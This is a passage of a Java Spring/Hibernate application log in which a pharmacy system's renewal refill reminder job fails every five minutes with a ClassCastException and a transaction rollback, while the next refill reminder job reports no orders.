org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 08:40:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 08:40:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 08:40:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 08:40:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 08:40:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 08:40:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 08:40:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 08:45:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 08:45:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 08:45:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 08:45:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 08:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 08:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 08:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 08:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 08:45:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 08:45:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 08:45:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 08:45:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 08:45:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 08:45:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 08:50:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 08:50:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 08:50:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 08:50:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 08:50:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 08:50:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 08:50:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 08:50:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 08:50:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 08:50:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 08:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 08:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 08:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 08:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 08:55:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 08:55:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 08:55:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 08:55:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 08:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 08:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 08:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 08:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 08:55:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 08:55:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 08:55:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 08:55:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 08:55:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 08:55:00 INFO NextRefillReminderJob:58 - ...................End Next Refill 